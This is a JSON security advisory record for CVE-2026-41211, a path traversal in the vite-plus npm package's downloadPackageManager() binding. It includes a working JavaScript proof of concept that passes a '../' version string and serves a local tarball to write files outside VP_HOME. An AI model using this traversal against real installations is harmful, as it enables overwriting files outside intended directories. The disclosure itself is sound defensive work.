{"id":"CVE-2026-41211","aliases":["GHSA-33r3-4whc-44c2"],"url":"https://o3.security/vulnerability/CVE-2026-41211","summary":"`vite-plus/binding` has path traversal `downloadPackageManager()` that leads to writes outside of `VP_HOME`","details":"### Summary\n\n`downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/<pm>/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.\n\n### Details\n\nThe public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version.\n\nThat value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+:\n\n1. computes the final target directory from the raw `version` string,\n2. removes any pre-existing directory at that target,\n3. renames the extracted package into that location, and\n4. writes executable shim files there.\n\nBecause the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`.\n\n### PoC\n\n```js\nimport fs from \"node:fs\";\nimport http from \"node:http\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { downloadPackageManager } from \"vite-plus/binding\";\n\nconst tgz = Buffer.from(\n  \"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=\",\n  \"base64\",\n);\n\nconst vpHome = fs.mkdtempSync(path.join(os.tmpdir(), \"vp-home-\"));\nconst version = \"../../../vite-plus-escape\";\nconst escapedRoot = path.resolve(vpHome, \"package_manager\", \"pnpm\", version);\nconst escapedInstallDir = path.join(escapedRoot, \"pnpm\");\n\nprocess.env.VP_HOME = vpHome;\n\nconst server = http.createServer((req, res) => {\n  res.writeHead(200, { \"content-type\": \"application/octet-stream\" });\n  res.end(tgz);\n});\n\nawait new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\nconst { port } = server.address();\nprocess.env.npm_config_registry = `http://127.0.0.1:${port}`;\n\nconst result = await downloadPackageManager({\n  name: \"pnpm\",\n  version,\n});\n\nserver.close();\n\nconsole.log(\"VP_HOME =\", vpHome);\nconsole.log(\"installDir =\", result.installDir);\nconsole.log(\"escaped =\", escapedInstallDir);\nconsole.log(\"shim exists =\", fs.existsSync(path.join(escapedInstallDir, \"bin\", \"pnpm\")));\n\n// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created\n```\n\n### Impact\n\nA caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root.\n\n### Mitigating factors\n\n- **Normal CLI usage is not affected.** All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`.\n- The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string.\n- No known downstream consumers pass untrusted input to this function.\n- Exploitation requires the attacker to already be executing code in the same Node.js process.","published":"2026-04-23T00:56:15.568Z","modified":"2026-08-12T03:51:23.033265359Z","cvss":null,"epss":{"score":0.00311,"percentile":0.23266,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vite-plus","fixedVersion":"0.1.17"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41211.json"},{"type":"ADVISORY","url":"https://github.com/voidzero-dev/vite-plus/security/advisories/GHSA-33r3-4whc-44c2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41211"},{"type":"PACKAGE","url":"https://github.com/voidzero-dev/vite-plus"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.033265359Z"}}